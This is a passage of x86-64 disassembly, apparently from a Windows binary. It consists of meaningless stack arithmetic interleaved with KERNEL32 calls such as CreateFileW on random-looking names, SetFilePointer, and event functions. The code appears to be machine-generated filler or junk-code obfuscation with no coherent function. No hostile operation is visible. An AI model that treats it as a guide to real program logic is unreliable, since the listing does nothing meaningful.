movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x708], ax
mov rax, qword [rsp + 0x1998]
movzx eax, byte [rax]
mov byte [rsp + 0x90d], al
mov rax, qword [rsp + 0x1dc0]
mov ecx, dword [rsp + 0x20c]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0x2360]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x369a
mov rcx, qword [rsp + 0x2928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
lea rax, [rsp + 0x17f8]
mov qword [rsp + 0x2e28], rax
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0x3ef]
sar eax, cl
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x3798]
mov rcx, qword [rsp + 0x10c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x30f0], rax
mov eax, dword [0x1400fc46c]
mov ecx, dword [rsp + 0xba0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2764], eax
movsx eax, word [rsp + 0x25c]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x448], ax
movzx eax, word [rsp + 0x4dc]
mov word [0x1400fd67c], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov qword [rsp + 0x25e8], rax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24c]
sar eax, cl
mov word [rsp + 0xae4], ax
movsx eax, word [rsp + 0x38c]
movsx ecx, word [rsp + 0x4b8]
and eax, ecx
mov word [rsp + 0x6a0], ax
mov rax, qword [rsp + 0x23f8]
mov rcx, qword [0x1400fc438]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1830], rax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2490]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x1170]
mov qword [rsp + 0x25b0], rax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x828]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaf4]
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4050]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fd640], rax
mov rax, qword [rsp + 0x2a40]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1c28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3e8]
movzx ecx, byte [rsp + 0x1c3]
sar eax, cl
mov byte [rsp + 0xe8], al
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x2660], rax
movzx eax, word [0x1400fd368]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x710], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x2bd8], rax
mov rax, qword [0x1400fd148]
mov rcx, qword [rsp + 0xc98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ff0], rax
mov rcx, qword [rsp + 0x2f58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d4], eax
mov rax, qword [rsp + 0x2e58]
mov eax, dword [rax]
mov dword [rsp + 0xdf0], eax
mov rax, qword [rsp + 0x18e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x350]
and eax, ecx
mov word [rsp + 0x310], ax
movzx eax, word [rsp + 0x1dc]
movzx ecx, word [0x1400fd4f0]
and eax, ecx
mov word [0x1400fd300], ax
mov rax, qword [rsp + 0x10b8]
mov rcx, qword [rsp + 0x2598]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x31a8], rax
mov rax, qword [rsp + 0x2240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1fb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b30], rax
mov rax, qword [rsp + 0x2aa8]
mov rcx, qword [rsp + 0x1d78]
mov qword [rsp + 0x49f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3270], rax
movzx eax, word [rsp + 0x1d8]
mov word [rsp + 0xe98], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.sbHBMKifA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x54b0], rax
mov eax, dword [rsp + 0x694]
movzx ecx, al
mov eax, dword [rsp + 0xe2c]
shl eax, cl
mov dword [rsp + 0x110c], eax
mov rax, qword [rsp + 0x19a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x239]
xor eax, ecx
mov rcx, qword [rsp + 0x1fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1e60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x38a8], rax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
add eax, ecx
mov rcx, qword [rsp + 0x3228]
mov byte [rcx], al
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x7f77
mov rcx, qword [rsp + 0x2840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2818], eax
mov rax, qword [rsp + 0x25d8]
mov eax, dword [rax]
mov dword [rsp + 0x26ac], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc4ec], ax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8a0]
sub eax, ecx
mov rcx, qword [rsp + 0xdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2ef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ec0]
mov qword [rsp + 0x3388], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2163
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27d8], eax
mov eax, dword [rsp + 0xdf0]
movzx ecx, al
mov eax, dword [0x1400fc49c]
shr eax, cl
mov dword [rsp + 0x1670], eax
lea rax, [rsp + 0x2fb0]
mov qword [rsp + 0x3ef8], rax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x16d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [rsp + 0xf6], al
movsx eax, word [rsp + 0x728]
mov rcx, qword [rsp + 0x1698]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5f8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x385c
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2158], eax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a4]
and eax, ecx
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x12b0]
mov rcx, qword [rsp + 0x950]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fd3f0], rax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x268]
sub eax, ecx
mov word [rsp + 0xbe8], ax
mov rcx, qword [rsp + 0x2f58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
mov qword [rsp + 0x3220], rax
mov rax, qword [rsp + 0x1c68]
mov rcx, qword [0x1400fc3a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1b28], rax
mov rax, qword [rsp + 0x3028]
movzx ecx, al
mov rax, qword [rsp + 0x338]
shl rax, cl
mov qword [rsp + 0x2d18], rax
movsx eax, byte [rsp + 0x2b8]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x2360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x23d0]
mov qword [rsp + 0x49f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd0], eax
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [0x1400fd5e4]
mov dword [rsp + 0x900], eax
movzx eax, word [rsp + 0x168]
mov word [0x1400fd680], ax
movzx eax, word [rsp + 0xf0]
mov word [rsp + 0x1574], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x737d
mov rcx, qword [rsp + 0x2f80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x48c]
movzx ecx, word [0x1400fd178]
add eax, ecx
mov rcx, qword [rsp + 0xa98]
mov word [rcx], ax
mov rax, qword [rsp + 0x1ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
sub eax, ecx
mov word [rsp + 0x434], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.lREsmn4Al4xHPLwYe9J9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x2378]
movzx ecx, al
mov rax, qword [rsp + 0x2d18]
shr rax, cl
mov qword [rsp + 0x36d0], rax
mov rax, qword [rsp + 0x36c0]
mov ecx, dword [rsp + 0x1a30]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x912], al
movsx eax, word [rsp + 0x38c]
mov rcx, qword [rsp + 0x1328]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1488]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaf8], ax
lea rax, [rsp + 0x17f8]
mov qword [0x1400fd688], rax
mov rax, qword [rsp + 0xd08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2960]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x31f8], rax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21b0], eax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f08], rax
mov rax, qword [rsp + 0x18f0]
mov qword [rsp + 0x4a90], rax
mov rax, qword [rsp + 0xd88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16a0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
imul eax, dword [rsp + 0x13a8]
mov dword [rsp + 0x2690], eax
mov rax, qword [rsp + 0x19c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x2530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2f70]
mov qword [rcx], rax
lea rax, [rsp + 0x579]
mov qword [rsp + 0x3138], rax
mov rax, qword [rsp + 0x1db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1400fd1f0]
mov dword [rcx], eax
movsx eax, word [0x1400fd498]
movsx ecx, word [rsp + 0xe6c]
and eax, ecx
mov rcx, qword [rsp + 0x1fe8]
mov word [rcx], ax
movzx eax, word [rsp + 0x30c]
mov word [rsp + 0x15ac], ax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x23e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x724], ax
mov rax, qword [rsp + 0x2b58]
mov rcx, qword [rsp + 0x1e58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2608]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1040]
mov qword [rsp + 0x4a00], rax
movsx eax, byte [rsp + 0x54c]
mov rcx, qword [rsp + 0x2ee8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x22c], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf411
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x3950], rax
movsx eax, word [rsp + 0x594]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [rsp + 0x1fc8]
mov word [rcx], ax
lea rax, [rsp + 0x418]
mov qword [0x1400fd690], rax
mov rax, qword [0x1400fd520]
mov rcx, qword [rsp + 0x14a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3080], rax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x1ca0]
mov rcx, qword [0x1400fd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c8], eax
lea rax, [rsp + 0xe5]
mov qword [rsp + 0x25c8], rax
mov rax, qword [rsp + 0xd28]
mov rcx, qword [rsp + 0x1860]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbd0], eax
mov rax, qword [rsp + 0x3a90]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd628]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ba], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3c80], rax
lea rax, [rsp + 0x4a00]
mov qword [rsp + 0x3898], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x83bb
mov rcx, qword [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
movsx eax, word [rsp + 0x6b0]
movsx ecx, word [rsp + 0x6e4]
sar eax, cl
mov word [rsp + 0x43c], ax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
movzx eax, word [rsp + 0x698]
mov rcx, qword [0x1400fd198]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd660], ax
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0x3780], rax
mov rax, qword [rsp + 0x3668]
mov rcx, qword [rsp + 0x540]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1bd0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x65a6
mov rcx, qword [rsp + 0x4a08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x218c], eax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x2938], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1228]
mov word [rcx], ax
mov rax, qword [rsp + 0x3160]
mov rcx, qword [rsp + 0xd58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x640], eax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3138]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x407], al
mov rcx, qword [rsp + 0x3150]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x1e50]
movzx ecx, al
mov rax, qword [rsp + 0x1300]
shr rax, cl
mov rcx, qword [rsp + 0x1078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3148]
mov qword [rsp + 0x3d40], rax
mov rax, qword [rsp + 0x1fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc4f0], ax
movzx eax, word [rsp + 0x424]
movzx ecx, word [rsp + 0x254]
add eax, ecx
mov word [rsp + 0x380], ax
movzx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x10d], al
mov eax, dword [rsp + 0x20e4]
mov dword [rsp + 0x216c], eax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2428]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x1ff0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0x1800]
mov rcx, qword [rsp + 0x2250]
mov qword [rsp + 0x4a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a10]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x12e0]
mov qword [rcx], rax
mov eax, dword [0x1400fc4e8]
mov ecx, dword [rsp + 0x13dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x79c], eax
movzx eax, word [rsp + 0xeb4]
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0x1288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1f00]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc434], ax
mov rax, qword [rsp + 0xd08]
mov rcx, qword [rsp + 0x2608]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb38]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.PBd08j5DcW8XktZqzeZ4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4110], rax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ef0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x34c], ax
mov rax, qword [rsp + 0x1710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1958]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x3118]
mov rcx, qword [0x1400fd298]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d98], rax
lea rax, [rsp + 0x90e]
mov qword [rsp + 0x2518], rax
mov rax, qword [rsp + 0x1018]
mov rcx, qword [rsp + 0x17d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2098]
mov qword [rcx], rax
mov eax, dword [rsp + 0xe1c]
mov dword [rsp + 0x34c8], eax
movzx eax, word [rsp + 0x44c]
movzx ecx, word [rsp + 0x49c]
sar eax, cl
mov rcx, qword [rsp + 0x1f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a68]
mov rcx, qword [rsp + 0x12f0]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc4a8], rax
mov eax, dword [rsp + 0x27dc]
mov dword [rsp + 0x213c], eax
mov rax, qword [rsp + 0x3228]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
or eax, ecx
mov byte [rsp + 0x3e8], al
movsx eax, word [rsp + 0xc0]
mov rcx, qword [rsp + 0x1458]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x4ec], ax
mov rax, qword [rsp + 0xc88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2298]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x1ef0]
mov eax, dword [rax]
add eax, dword [rsp + 0x1120]
mov rcx, qword [rsp + 0xd58]
mov dword [rcx], eax
lea rax, [0x1400fc383]
mov qword [rsp + 0x2db0], rax
mov rax, qword [rsp + 0x17d8]
mov rcx, qword [rsp + 0x1800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x18c8], rax
movsx eax, word [rsp + 0x364]
movsx ecx, word [rsp + 0x588]
sar eax, cl
mov word [rsp + 0xe64], ax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3101
mov rcx, qword [rsp + 0x2ed0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
mov word [0x1400fd698], ax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov qword [rsp + 0x4b10], rax
mov rax, qword [rsp + 0x22e0]
mov rax, qword [rax]
add rax, qword [rsp + 0x2d70]
mov rcx, qword [rsp + 0x1880]
mov qword [rcx], rax
lea rax, [rsp + 0x3d98]
mov qword [rsp + 0x37a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4ec0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8e6b
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
movsx eax, word [rsp + 0x6d0]
movsx ecx, word [rsp + 0xb00]
sub eax, ecx
mov rcx, qword [rsp + 0x2610]
mov word [rcx], ax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x11b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1080]
mov dword [rcx], eax
mov rax, qword [0x1400fd530]
mov rcx, qword [rsp + 0x25a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x29e0], rax
mov rcx, qword [rsp + 0x2f00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xce86
mov rcx, qword [rsp + 0x3e58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34d8], eax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xba4d
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26e8], eax
mov rax, qword [rsp + 0x16d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x229], al
mov eax, dword [rsp + 0x1a88]
mov rcx, qword [rsp + 0x948]
mov qword [rsp + 0x4a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc50]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3688]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1400fd510]
mov word [rcx], ax
lea rax, [rsp + 0x4bc]
mov qword [rsp + 0x30a8], rax
movzx eax, word [rsp + 0x438]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xabc], ax
mov rax, qword [rsp + 0x1020]
mov rcx, qword [rsp + 0x1d30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x25b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2be0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3378], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1435
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27ec], eax
movsx eax, byte [rsp + 0x13a]
movsx ecx, byte [rsp + 0x2cd]
sub eax, ecx
mov rcx, qword [rsp + 0xdc8]
mov byte [rcx], al
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x3f58], rax
movsx eax, word [0x1400fd440]
movsx ecx, word [rsp + 0x3ac]
add eax, ecx
mov word [rsp + 0xe74], ax
movzx eax, word [rsp + 0x41c]
mov rcx, qword [rsp + 0x1168]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd78]
mov rax, qword [rax]
mov qword [0x1400fd6a0], rax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd3a8]
movzx eax, word [rax]
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0x2260]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3fc0]
sar rax, cl
mov qword [rsp + 0x12f0], rax
lea rax, [rsp + 0x19c0]
mov qword [rsp + 0x2b10], rax
movsx eax, byte [rsp + 0x3ff]
movsx ecx, byte [0x1400fd133]
and eax, ecx
mov rcx, qword [rsp + 0xdc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1f48]
mov ecx, dword [rsp + 0xbc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3160]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x16c]
mov byte [rsp + 0xe52], al
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13a4], eax
lea rax, [rsp + 0x1890]
mov qword [rsp + 0x4e30], rax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
and eax, ecx
mov word [0x1400fc3b0], ax
mov rax, qword [rsp + 0x2498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1710]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1328]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.QDIiumMpFD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5138], rax
movzx eax, word [rsp + 0xe5c]
movzx ecx, word [rsp + 0x28c]
xor eax, ecx
mov word [rsp + 0x144], ax
lea rax, [rsp + 0x1558]
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0xd18]
movzx ecx, al
mov rax, qword [rsp + 0x18c8]
shl rax, cl
mov rcx, qword [rsp + 0x1d88]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb88]
mov ecx, dword [rsp + 0xcc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x11b4], eax
movsx eax, byte [rsp + 0x3ef]
mov rcx, qword [0x1400fd4c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1fe0]
mov byte [rcx], al
movzx eax, word [rsp + 0x5a4]
mov word [rsp + 0xec0], ax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a54], eax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x210], ax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov rcx, qword [0x1400fc4a8]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc4f8], rax
mov rax, qword [rsp + 0x25e8]
mov rcx, qword [rsp + 0x2f40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2aa0], rax
mov rax, qword [0x1400fd460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3058], rax
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x4a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a20]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1e88], rax
